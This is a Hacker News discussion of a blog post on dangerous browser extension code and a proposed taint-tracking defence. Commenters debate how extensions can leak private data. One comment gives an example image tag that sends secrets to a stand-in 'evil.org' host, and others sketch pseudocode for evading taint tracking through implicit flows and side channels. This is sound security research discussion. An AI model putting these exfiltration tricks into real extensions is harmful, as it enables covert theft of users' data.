

The Most Dangerous Code in the Web Browser - ingve
http://stefanheule.com/blog/posts/2015-06-28/the-most-dangerous-code-in-the-web-browser/

======
aboodman
It's a good idea, and one we thought of and tried to make work when I worked
on extensions.

Unfortunately, the DOM itself is so flexible and powerful, that it can be used
to exfiltrate information through a variety of mechanisms.

For example, that same extension that only has access to gmail.com's DOM?
Well, it can add an image like <img src="evil.org?{secrets}">.

The extension system could try to detect such things, but there are a variety
of ways for bad extensions to work around the detections.

~~~
deian
Very good points. We proposed a way to deal with DOM manipulation in the paper
[1], but Stefan omitted this in the blog post. Specifically, Section 4 of the
paper (the "Page access" paragraph) briefly describes this. (Sorry for
referring you to the paper, but our wording in the paper is probably better
than my attempt to paraphrase here.)

Of course there are other ways malicious extensions can used to leak data---
pick your favorite covert channel. But the idea was to propose APIs (and
mechanisms) that are not overtly leaky. (We are early in the process of
actually building this though.)

[1] [https://www.usenix.org/conference/hotos15/workshop-
program/p...](https://www.usenix.org/conference/hotos15/workshop-
program/presentation/heule)

~~~
tsotnet
"To ensure that extensions cannot leak through the page’s DOM, we argue that
extensions should instead write to a shadow-copy of the page DOM—any content
loading as a result of modifying the shadow runs with the privilege of the
extension and not the page. This ensures that the extension’s changes to the
page are isolated from that of the page, while giving the appearance of a
single layout" Could you elaborate more on this? Do you mean that you'll
compare the network requests made from the main and the shadow pages? What if
the main script is sensitive to the request receive time? Then the shadow DOM
may act differently. From more practical standpoint, having two DOMs for every
page will eat even more of my laptop's RAM.

~~~
deian
"Do you mean that you'll compare the network requests made from the main and
the shadow pages?"

Essentially, yes. Requests from the extension should be treated as if they are
of an origin different from the page. (We could potentially piggy-back on
existing notions of security principals (e.g., that Firefox has) to avoid huge
performance hits.) And if the extension is tainted the kinds of requests will
be restricted according to the taint (as in COWL [1], likely using CSP for the
underlying enforcement).

"What if the main script is sensitive to the request receive time? Then the
shadow DOM may act differently."

If by main script you mean a script on the page, then there should be no real
difference.

"From more practical standpoint, having two DOMs for every page will eat even
more of my laptop's RAM."

I hope this won't be so bad down the line (assuming we'd be able to leverage
some underlying shadow DOM infrastructure and that performs relatively well).

[1] [http://cowl.ws](http://cowl.ws)

------
computator
Case in point: Kaspersky (respected antivirus software) is doing disturbing
things with extensions and plug-ins.

Kaspersky Internet Security and Kaspersky Total Security are adding an
extension to your browser called "Safe Money" and an associated plug-in called
"Online Banking" that protect your banking transactions. It opens a separate
"protected" browser tab, verifies credentials, checks for spoofing, etc. This
is all fine, I think.

However, I was annoyed to discover that it acts as a man-in-the-middle to
monitor the HTTPS traffic between me and my bank or credit card site. I
suppose Kaspersky wants to check for malicious content sent by a fake bank
site or whatever. But I don't want Kaspersky scanning/storing/analyzing my
bank transactions and bank passwords.

Kaspersky does not tell you that they are doing MITM, or what they're checking
for, or what (if any) info is sent back to their servers for analysis, or what
(if anything) is stored.

I removed "Safe Money" and all of their other extensions and plug-in[1]. I
still use Kaspersky, but if a security-oriented company is engaging in
shenanigans with extensions and plug-ins, then what do we expect from less
trustworthy companies?

[1] You _cannot_ remove Kaspersky's extensions and plug-ins directly from
Firefox. If you disable the Kaspersky extensions, the next time you restart
Firefox, they are re-enabled. If you set the Kaspersky plug-ins to "Never
activate", the next time you restart Firefox, they are back to "Always
activate". Kaspersky has gone to a lot of effort to make it nearly impossible
to remove their extensions and plug-ins once you install them! It took me a
_long_ time to get rid of them.

~~~
cpeterso
How was Kaspersky re-enabling their extensions? Do they have a separate
service running in the background? How did you eventually uninstall it? Might
be worth filing a Firefox bug to report the problem, in case something can be
done (by blocking the extension or contacting Kaspersky).

~~~
computator
I don't know how they were re-enabling their extensions.

I got rid of the Kaspersky extensions as follows:

In the Kaspersky menu, I went to Settings > Protection > Web Anti-Virus >
Advanced Settings, and unchecked "Automatically activate application plug-ins
in all web browsers". Though Kaspersky's settings refer to _plug-ins_ , this
actually disables the extensions, not the plug-ins. You can't choose which of
their 3 extensions to enable or disable; it's all or nothing. I also disabled
Kaspersky's Web Anti-Virus, which may or may not have been necessary to the
procedure.

As to how they were re-enabling plug-ins, I found a comment on the Kaspersky
forums that seems informative and I'll quote here:

 _FF stores all its settings in prefs.js file but user.js file serves a
different purpose.[1] A user.js file is an alternative method of modifying
preferences, recommended for advanced users only. Unless you need a user.js
file for a specific purpose you should use about:config instead. The user.js
file does not exist by default. Once an entry for a preference setting exists
in the user.js file, any change you make to that setting in the options and
preference dialogs or via about:config will be lost when you restart your
Mozilla application because the user.js entry will override it.[2] So, here is
what KIS does: after installation it creates user.js file in your Firefox
profile and writes a couple of preferences there that activate Kaspersky
plugins. As the result, even if you disable the plugins in FF settings, they
will be enabled after restart.[3]_

[1][3]
[http://forum.kaspersky.com/index.php?showtopic=301934&st=0&p...](http://forum.kaspersky.com/index.php?showtopic=301934&st=0&p=2282289&#entry2282289)

[2]
[http://kb.mozillazine.org/User.js_file](http://kb.mozillazine.org/User.js_file)

I personally got rid of the Kaspersky plug-ins as follows:

    
    
      - Saved my Firefox bookmarks
      - Uninstalled Firefox
      - Removed my FF profile (in Window 7, it's c:/Users/<username>/AppData/Roaming/Mozilla/Firefox/Profiles/*)
      - Disabled Kaspersky
      - Reinstalled Firefox
      - Created a new profile in Firefox (FF will ask you if the profile is missing)
      - Restored my Firefox bookmarks
      - Re-enabled Kaspersky

~~~
cpeterso
Wow. That's pretty confusing. And modifying the Firefox user.js is sounds
kinda underhanded.

------
jakobegger
I believe that concerns like this are why Apple will introduce the "content
blocking" extensions in iOS 9 and OS X 10.11. They enable the most popular
types of extension (ad blocking and privacy protection) without letting
extension code run in your browser.

While the tainted data approach sounds interesting, I don't think there's an
easy way to guarantee the safeness of arbitrary code executed on your machine.
It's possible to sandbox code, but as soon as you allow any communication at
all, there's no automated way to prevent data theft.

~~~
moe
_but as soon as you allow any communication at all, there 's no automated way
to prevent data theft._

I think you missed the point of the article, which proposes exactly that.

All I/O functions would tag all variables populated by them with the source of
the data.

When a tagged ("tainted") variable is used in an I/O function again, we can
compare origin/destination and apply firewall-style filtering or prompt the
user.

    
    
      .----------------------------------------.
      | Add-On "Evernote" has read data from:  |
      |   Chrome Clipboard                     |
      |                                        |
      | and wants to send it to:               |  
      |    http://evernote.com                 |
      +----------------------------------------+
      | [Deny] [Allow] ( ) Remember            |
      `----------------------------------------'

~~~
ajuc
Will this show a warning?

    
    
        for (int i=0;i<LEN; i++) {
          for (char c=0; c<255;c++) {
            if (tainted[i] == c) {
              untainted[i] = c;
            }
          }
        }
        send(untainted);
    

If no - protection doesn't work obviously. If yes - almost all variables are
tainted (you don't usually read stuff that doesn't influence codepaths or
global state in your application).

In the promiscuous world of imperative programming there's millions of ways to
introduce dependency that can't be automaticaly checked.

For more complex - you can have workers/threads doing while() { sleep(),
next_letter; } and other workers killing them after calculated time.

Or you can get different number of pseudorandom numbers from generator with
known seed in one loop depending on tainted data, and after the loop untainted
data is set depending on the current random number from the same generator.
Calling rand() taints the generator.

I thought they would just mark the whole etension as tainted once it reads
tainted data. And then any communication with other sites show the warning.

~~~
moe
_Will this show a warning?_

Yes, because the assignment happens inside a conditional that references a
tainted variable.

 _In the promiscuous world of imperative programming there 's millions of ways
to introduce dependency that can't be automaticaly checked._

That is not true.

 _workers /threads doing while() { sleep(), next_letter; }_

What is that supposed to achieve?

 _known seed in one loop depending on tainted data_

Every variable assigned to within a "loop depending on tainted data" becomes
tainted. Calling rand() doesn't taint the generator. Seeding it within a
tainted scope does.

Edit: I was wrong (see below), of course rand() _also_ taints the generator.

~~~
ajuc
> Yes, because the assignment happens inside a conditional that references a
> tainted variable.

What if it was

    
    
        if (!tainted[i]==c) {
          continue;
        }
        untainted[i]=c;
    

?

If your checker is smart enough to catch this - your whole program is tainted
by your password once you check it in the login screen.

> What is that supposed to achieve?

Global state is incramented by another worker every second to the next value.
My thread kills the other worker after N seconds. global state = N and I
haven't touched it.

If you don't want to call kill from if depending on tainted data - sleep in
that if, and call kill immediately after it.

> Calling rand() doesn't taint the generator. Seeding it within a tainted
> scope does.

It does:

    
    
        set_seed(1337);
    
        for(int i=0; i<tainted[0]; i++) {
            rand();
        }
    
        int tmp = rand()); // now I know what tainted[i] was
                           // because I know how many times
                           // rand() was called, because I know
                           // the whole sequence because I know
                           // (untainted) seed.

~~~
moe
_What if it was_

To clarify, tainting "scope" doesn't refer to variable scope but is commonly
implemented as a (thread-local) global dict that tracks tainted access in
execution order.

In your example the variable 'c' would be tainted from the moment the
conditional evaluates until it is either re-assigned (from a non-tainted
source) or until the program ends.

 _If your checker is smart enough to catch this - your whole program is
tainted by your password once you check it in the login screen._

Not sure what you mean by "your password" in this context. Which password,
from what source?

 _Calling rand() taints the generator_

Pardon, you are of course right. Yes it does.

------
nallerooth
As in most cases related to security/privacy, the common user often lacks
knowledge about what all this means. They've found an extension with a nice
looking logo and a good description that says it will replace ads with
pictures of cats - and that's exactly what they want.

In Chrome, you'll get a small popup box where you need to approve the
extensions permissions. Things like "This extension can read and edit all the
pages you visit" \- but there's no further information about what this means.
If there were an extended view, where different permissions were explained,
the cat loving user might start to wonder why the extension requires
permissions to read all their history, clipboard, cookies, etc.

In the end, a lot of users will just click the OK button without reading
anything. But there's still a greater chance of helping users make a decent
choice when they understand what they're installing.

------
x0054
Even in the limited example given there is a clear path of attack. An
extension that is permitted to access mail.gmail.com can simply collect its
target data and then email it to its self and delete the email afterwords.

~~~
skarap
Exactly. That's because the assumption that "extensions which deal with
sensitive information are perfectly safe as long as they do not disseminate
this sensitive information arbitrarily" is wrong. It doesn't just have access
to information but to functionality too. So an extension which is supposed to
make your bank's website less sucky, can send you money to someone else.
Though, of course, the purposed approach could limit the impact (to one site
only) of such extensions.

~~~
deian
Right, minimizing attack surface is pretty important. Though the described
attack scenario (a form of self-exfiltration attacks [1]) is something we did
think about. (The details of the core IFC mechanism are describe in the COWL
paper [2].) For example, if the extension only needs to read data from
gmail.com it is tainted with a unique origin. (In general, IFC can be used to
deal with both confidentiality and integrity.)

[1] [http://www.ieee-
security.org/TC/W2SP/2012/papers/w2sp12-fina...](http://www.ieee-
security.org/TC/W2SP/2012/papers/w2sp12-final11.pdf) [2]
[http://www.scs.stanford.edu/~deian/pubs/stefan:2014:protecti...](http://www.scs.stanford.edu/~deian/pubs/stefan:2014:protecting.pdf)

------
noreasonw
I think a mini browser with only the capabilities required to make a secure
transaction should be used when sensitive information is to be transmitted. A
full browser with add-ons is a very heavy piece of work to be secure or to be
tested. Banks and other actors should use that piece for secure transactions
and a full browser for ads and animations.

~~~
skrause
I do something like that by using different browsers. My main browser on OS X
is Chrome with some extensions, but I do all my online banking in Safari where
extensions are completely disabled.

------
skarap
I'd expect this to end up as Android app permissions in the best case where
almost every app you try to install wants access to GPS, files and quite a few
- to SMS. And the reason for this is quite clear - users (on a large scale)
don't care about security and probably never will.

What this could help with is organizing easier review process. E.g. if an
extension is described to show a weather forecast in the browser, it probably
shouldn't be accessing mail.google.com.

------
mdpm
The premise is correct - we're willing to leak way too much. The proposed
solution is sadly leakier; no metadata scheme needs be honoured by calling
code. As aboodman noted, there are plenty of exfiltration methods possible,
even sneakier ones like constructed DNS queries and the like. You can't catch
them all, even if you force script through another level of interpretation.

------
lunulata
You can readily verify adblockplus at least doesn't take your info or do
anything suspicious just by looking at its source:
[https://adblockplus.org/source](https://adblockplus.org/source) That's how
you "know" your extension or any other program you run isn't doing anything
unwanted and that is the only way you'll ever know for sure. Browser
extensions don't really need an additional layer of security, it is basic
computer operation 101 to not install anything you don't trust.

~~~
raesene4
You could of course read the source (although it's likely very few people do),
but how do you assure that the code you download and install from the Firefox
Add-On store is the same as the code that you read?

As to it being computer operation 101, not to run code you don't trust, how do
you establish the trustworthiness of all the pieces of code that run on your
computer? there's far too much for anyone to audit by themselves and there is
no good way of assessing the security or intent of most of the organisations
that you get code from.

------
userbinator
Based on what they can do, extensions should be naturally trusted to the same
extent as the browser itself... I think this is a feature, not a bug. Besides,
AFAIK with extensions being distributed in the form of source code, it's not
hard to inspect one to see what it truly does, and it only takes one person to
find out and tell everyone else.

~~~
fyarebox
The issue with this is updates. In most of these cases with malicious addons,
the addon was safe initially, then the author slips in some tracking code /
spyware etc. at a later date.

While I might inspect a source for a single sketchy looking addon at
installation, inspecting every addon every time it's updated (sometimes weekly
or more often) is absurd, and that's why you get cases of adware slipping by
for months before anyone notices.

~~~
userbinator
You're very correct about updates, but on the other hand I wonder what type of
addon needs to be updated at such a high frequency?

Although making a way to easily see the changes made with each new version,
something diff-like, would alleviate the problem.

~~~
nallerooth
One part of the problem is that most of the extensions are updated silently in
the background. Some extensions fire up a new tab with a page displaying new
features and such, but this is not a requirement in any way.

~~~
deian
Even worse, they only update if they don't need any additional permissions.
Thus incentivizing developers to ask for more permissions up front.

------
drdaeman
Sadly, I believe this won't work. Just complicate things.

Even if values and their derivatives are "tainted" (remember Perl 5?) there
are _always_ means to take a value and "untaint" it. Unless, of course, the
set of possible operations on such value is severely restricted, but I believe
that'd make things unusable.

This reminds me of ICFPC'08 (one of best ICFP contests ever) where one of the
puzzles was about a robot that wasn't able to disclose secret blueprint
contents because of a Censory Engine. Every time a secret or some derived
value was about to be printed, it was replaced with "REDACTED". Surely, there
was a way to work around this. ;)

So, a malicious extension would always be able to steal your password and send
it to remote site, even if it would have to leak the data bit-per-bit, a
single bit per request, over a side channel.

------
jebblue
>> We found that more than 71% of extensions require permission to “read and
change all your data on the websites you visit”.

This is exactly the reason why I install so few extensions and buy none.

The same is becoming true for Android Apps, more of them require more
permissions every day. Recently an app I'd run for months if not years wanted
to install an update and demanded that I give it permission to view my phone
calls and even the remote caller's phone number. This had nothing to do with
the purpose of that app, all it would need at most is to know if a phone call
came in so it could pause.

~~~
ams6110
All of this applies to the browser itself, as well. Where do you draw the line
on trust?

~~~
jebblue
Do you mean if I open tab A on one site and tab B on another then they can
read each other's data without any special permissions from me? If so then
that's a security breach and not a discussion of which permissions a web app
or mobile app should be allowed to have.

------
axelfreeman
I use Develop and Debug Chrome Apps & Extensions to see if an Extension does
malicious stuff.

[https://chrome.google.com/webstore/detail/chrome-apps-
extens...](https://chrome.google.com/webstore/detail/chrome-apps-extensions-
de/ohmmkhmmmpcnpikjeljgnaoabkaalbgc)

Click on behavior to see the history or look at realtime stuff from extensions
or apps. Requests and access(!) get recorded. It shows privacy-related history
and the extension is from google.

------
agnes49
I can use the command like rm -rf _some log file_ right ? Hope this will not
delete the directory. [http://www.besanttechnologies.com/training-courses/web-
desig...](http://www.besanttechnologies.com/training-courses/web-designing-
training)

------
thomasrossi
The concern is real and apparently I thought some proposed solutions were
ncie. But then I read like "by default only GET request are possible which
only allow reading a website", and I think why.. why?

------
dkbst
If the evil extension only has access to mail.google.com, what is blocking it
from sending an email with your google-password?

------
ikeboy
That last idea, encrypting data before it gets sent out, seems vulnerable to
fingerprinting or other leakage. What kind of encryption would give evil.com
no information about the plaintext?

~~~
deian
Yep, you are right. If the crypto/label API didn't force a fixed-length blob
(which may be hard to do), it would certainly be leaking some information.

~~~
ikeboy
I was thinking more like timing side channels (if you can force the encryption
at will and it isn't fixed time).

The possible security models where you can send data but it's encrypted are
not very appealing. For a single application it may be fine (lastpass, or
chrome syncing with passphrase), but it's really hard to see how that can be a
standard api and remain secure.

------
jonahx
Should a security conscious user not be using any extensions?

~~~
deian
That's a tricky question. Some extension (e.g., HTTPS Everywhere[1]) can
improve your privacy on the Web and are arguably written by developers that as
trustworthy as your browser developers. But, in general, I would be cautious.

[1] [https://www.eff.org/https-everywhere](https://www.eff.org/https-
everywhere)

------
jimmaswell
Extensions available officially for major browsers are put through a review
process first, and installing unofficial extensions requires going out of your
way and there are multiple warnings given. The article conveniently doesn't
mention this. FUD.

~~~
JadeNB
As aboodman points out
([https://news.ycombinator.com/item?id=10000966](https://news.ycombinator.com/item?id=10000966)):

> The extension system could try to detect such things, but there are a
> variety of ways for bad extensions to work around the detections.

A computer proveably (in the mathematical sense) cannot detect all forms of
bad behaviour; and the security history of all the software in the world
proves (in the historical, not mathematical, sense) that neither can the best
programmers, let alone overworked reviewers who see mostly benign or trivially
malicious code and so are not experienced in finding subtly malicious code.

~~~
jimmaswell
Firefox extensions are human-reviewed. Unfortunately Chrome's aren't unless
their automated system detects something so for Chrome these concerns are more
valid.

[https://developer.mozilla.org/en-US/Add-
ons/AMO/Policy/Revie...](https://developer.mozilla.org/en-US/Add-
ons/AMO/Policy/Reviews)

~~~
TheCowboy
This may be outdated, and Google might have improved the process, but the
problem I found is that trying to report the extension didn't seem to have any
effect.

I had an experience awhile ago where I found a Chrome extension that was
inserting its own ads among Google search results. It was subtle enough that
most people probably would never notice it happening, inserting an ad in a
place where you would expect Google display an ad in results.

